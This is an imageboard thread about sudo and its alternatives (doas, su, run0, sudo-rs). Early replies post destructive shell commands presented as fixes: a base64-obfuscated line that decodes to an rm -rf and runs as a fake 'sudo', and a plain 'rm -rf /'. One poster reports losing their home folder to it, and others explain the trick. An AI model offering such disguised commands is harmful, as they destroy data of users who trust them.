What seems to be the problem, frogposter? (apart from being a frogposter)

>>108431714

printf 'cm0gLXJmIC8qbWUqIC9tbnQK' | `base64 -d` > sudo
sh ./sudo

>>108431714
the Sudogin
the chad doas

>>108431714
the command is su -l; rm -rf /; sudo

su is all I need but I will allow doas

>>108431714
Try typing that into google or chatgpt and include your distro.

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>>108432032
how come distros don't come with sudo anymore

for me, it's doas

>>108431714
>>sudo: command not found
run0

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>>108431773

>>108431773
saar...

>>108432046
>sudo
bloated security nightmare that is responsible for 20 different things by accretion of hacks long forgotten
>su and doas
simple, clean

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>>108431773
fuck i ran this and it nuked my home folder. i had a backup but it was a few days old so i lost a few days worth of files. i only ran "'cm0gLXJmIC8qbWUqIC9tbnQK' | `base64 -d`" thinking it would decode the base64 without running the command. i recovered some files with photorec

>>108431773
mustard gas is coming out of my laptop help

>>108433551
actually i put echo before that command and it nuked my home folder

>>108433551
you deserved it

>>108431714
>not using doas in the year of lord 2019+7

>>108433551
anon you silly billy

I actually switched to doas recently and it really is an improvement, even for the user. The config file is very simple I can easily edit it with help of the man page, no need to have a huge example config file anymore to copy around stuff in

>>108433532
>bloated security nightmare
Surely you'll be able to back that claim up, right?

>>108431773
lol i'm not a retard to run some random command without understanding it first, but even if i had, i run zfs and this would have done nothing i couldn't immediately revert kek

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>>108431773
>

cm0gLXJmIC8qbWUqIC9tbnQK

>>108431714
>current year+5+6
>xhe doesn't use rdo
https://codeberg.org/sw1tchbl4d3/rdo

>>108432046
they come with sudo-rs nowadays, sudo is legacy

I never use sudo, I just `su -'

>>108433532
>he thinks doas doesn't have CVEs

What a retard

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>>108431714
>allow login as root
>Yes

>>108433551
You didn't. Stop lying.

>>108431714
we are a doas home here

>>108431773
i ran this and now the police are arriving st my house

>>108436782
>Using a website to decode instead of just opening your console and using atob
ngmi

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>>108431773

>>108436489
yes, I will spoonfeed you, little babby
https://blog.geraldwu.com/posts/why-and-how-i-switched-from-sudo-to-doas-and-why-you-should-too/
>sudo is a massive, feature-packed (“bloated”) program.
>With such a massive codebase, there are many potential points of failure. Since sudo runs commands as different users, then these points of failures could lead to one of the most devastating exploits: privilege escalation.
>This isn’t just theoretical either. Take a look at the CVE list for sudo, which includes such delicacies as CVE-2021-3156: an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root. And don’t think this is some old problem now that sudo is “mature” — the previously mentioned CVE was from January, 2021. It’s not a matter of “if”, but a matter of “when” new vulnerabilities are discovered for sudo.
>doas has ~3k SLOC compared to sudo’s ~177k. That’s nearly two full orders of magnitude less. While SLOC is not necessarily indicative of a secure implementation, it is far easier to audit a codebase that is 50 times smaller. Just by default, doas will have a far smaller attack surface than sudo.
>Everybody who’s used sudo at some point has had to wrangle with the dreaded /etc/sudoers file. This file is so complex, most sudo packages will provide a utility visudo just to ensure that users do not create an improper config file and lock themselves out of their system.
>If you are using desktop Linux as a single-user, or even as a multi-user in a family home, then you don’t need all the features of sudo. doas will serve you just as well, if not better.

>>108431714

su

>>108441037
>cve from 5 years ago
dont look at ssh cve's

>>108433551
>>108433636
Let it be a lesson for you, commands wrapped in backticks do execute

`echo reboot`

is equivalent to

$(echo reboot)

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>>108438656
>mfw accidentally pasted whole suspicious command and pressed enter on my console

>>108436782
lol.

>>108441037
>switch to my program for the same thing that nobody uses!
lol this is why open source was always awful

>>108441479
>whatabout ssh
nigga, really?
just accept that you're too lazy to use anything other than the distro defaults. Thankfully distros are looking out for smoothbrains and are leaving sudo behind.

>>108442714
>just accept that you dont want to waste time and unnecessarily tinker
i accept.

>>108438656
Yeah I'm not putting that thing anywhere near my terminal in any shape or form.

>>108441574
>>108443060
>xe doesn't have an isolated container or a vm to run sus stuff
lmao

>>108443060
>>108443074
>doesn't know to just remove the backticks
embarrassing

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>>108441593
Let's see Windows's sudo command

>>108443779
as someone who've wiped ~/ while mistyping a command edit i would rather not take a risk

>>108431714
There is literally no reason to even install sudo on a single-user machine.

>>108445616
oh yeah sure run your fancy text editor with a ton of 3rd party package as a root user to edit /etc, nothing bad's going to happen

>>108445051
use case?

>>108431773
my computer just grew legs and walked away

>>108445849
>he opens an IDE to edit a config file
where did all of you redditors come from?

>>108431714
saar you need anti virus saar

>>108433532
No sudo -E replacement between them. Don't care. You're not getting RCE on my machine, anyway.

>>108448217
Using vim with plugins and undolevels to edit config files is bad because I'm a contrarian whiner.

>>108433607
Are you still alive? Pour ketchup on it and they'll cancel out.

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reminds me of this gem

>>108445051
uhh
https://github.com/gerardog/gsudo

Took me a while to realize that sudo is an actual command and there are alternatives. Still using it though.
As a noob, can I use some alternative without seeing any difference, or would it change how I use Linux?

>>108450770
sudo-rs
doas

>>108431714
pkexec always werks on my machine

freebsd chads will never know this feeling

>>108431773
YOU FUCKINN FAGGOT YOU RUINED NY COMPTYER IM SO DUCKING NAD I CANT TYOE OIECE OF SHUT

I have recently started using Linux Mint, although I have used Fedora for many years, and I had a ridiculous experience recently:

me@Mint: rpm -q kernel
package kernel is not installed

It must just be something to do with package managers, but what the fuck?

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>>108431714
alias rm='rm -I'
Why don't more people do this?

>>108454396
>alias rm="rm -I"
hm, pretty cool. thanks man.

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>>108454985
Read the manual!

>>108452582
Is the package called "kernel"?

>>108454992
how come there isnt a man-tldr command

>>108457572
>man-tldr
why not just tldr

>>108457581
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i wonder if this extends to Linux commands somehow.